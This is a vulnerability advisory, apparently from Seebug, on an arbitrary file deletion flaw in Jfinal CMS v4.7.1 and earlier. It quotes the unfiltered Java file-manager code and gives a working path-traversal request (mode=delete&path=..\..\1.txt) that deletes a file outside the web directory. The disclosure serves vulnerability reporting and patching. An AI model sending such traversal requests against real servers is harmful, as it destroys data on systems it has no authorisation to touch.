## Jfinal cms Any file deletion in the background
### Introduction to Vulnerability
Jfinal cms, using the simple and powerful JFinal as the web framework, the template engine is beetl, the database uses mysql, front-end bootstrap, flat ui and other frameworks. Support multi-site, oauth2 authentication, account registration, password encryption, comments and replies, message prompts, website traffic statistics, article comments and pageview statistics, response management, rights management, etc. The background template management office does not filter the path passed by the user, resulting in an arbitrary file deletion vulnerability.
### Vulnerability Impact
- <= v4.7.1
### Vulnerability Analysis
The vulnerability trigger point is in `com/jflyfox/modules/filemanager/FileManagerController.java`
```java
public void index() {
HttpServletRequest request = getRequest();
try {
request.setCharacterEncoding("UTF-8");
getResponse().setCharacterEncoding("UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
FileManager fm = new FileManager(getRequest());
JSONObject responseData = null;
String mode = "";
String path = "";
boolean needPath = false;
boolean putTextarea = false;
if (!auth()) {
fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
} else {
String contextPath = request.getContextPath();
// 设置contextPath
fm.setGetVar("contextPath", contextPath);
mode = request.getParameter("mode");
path = request.getParameter("path");
if (path != null) {
try {
if (request.getMethod().equals("GET"))
path = new String(path.getBytes("ISO8859-1"), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
needPath = fm.setGetVar("path", path);
}
if (request.getMethod().equals("GET")) {
......
}
} else if (mode.equals("delete")) {
if (needPath) {
responseData = fm.delete();
```
When the incoming mode is delete, the `FileManager.delete()` handler is called, followed by `delete()`
```java
public JSONObject delete() {
JSONObject array = null;
File file = new File(getRealFilePath());
if (file.isDirectory()) {
array = new JSONObject();
this.unlinkRecursive(getRealFilePath(), true);
try {
array.put("Error", "");
array.put("Code", 0);
array.put("Path", this.get.get("path"));
} catch (Exception e) {
this.error("JSONObject error");
}
} else if (file.exists()) {
array = new JSONObject();
try {
// before bakup
bakupFile(file);
if (file.delete()) {
try {
array.put("Error", "");
array.put("Code", 0);
array.put("Path", this.get.get("path"));
} catch (JSONException e) {
this.error("JSONObject error");
}
} else {
this.error(sprintf(lang("ERROR_DELETING FILE"), this.get.get("path")));
}
} catch (IOException e) {
logger.error(sprintf(lang("ERROR_DELETING FILE"), this.get.get("path")), e);
this.error(sprintf(lang("ERROR_DELETING FILE"), this.get.get("path")));
}
return array;
} else {
this.error(lang("INVALID_DIRECTORY_OR_FILE"));
}
return array;
}
```
There is no filtering for the path passed by the user, and there is no restriction on the directory, resulting in any file deletion vulnerability.
### Vulnerability recurrence
For demonstration, create a new 1.txt under the root directory, and then delete the 1.txt.
![](https://images.seebug.org/1553855436367-w331s)
Login to the background
2. Delete files
```
Http://localhost:8080/jfinal_cms/admin/filemanager?mode=delete&path=..\..\1.txt&time=954&config=filemanager.config.js
```
![](https://images.seebug.org/1553855442623-w331s)
![](https://images.seebug.org/1553855450040-w331s)
暂无评论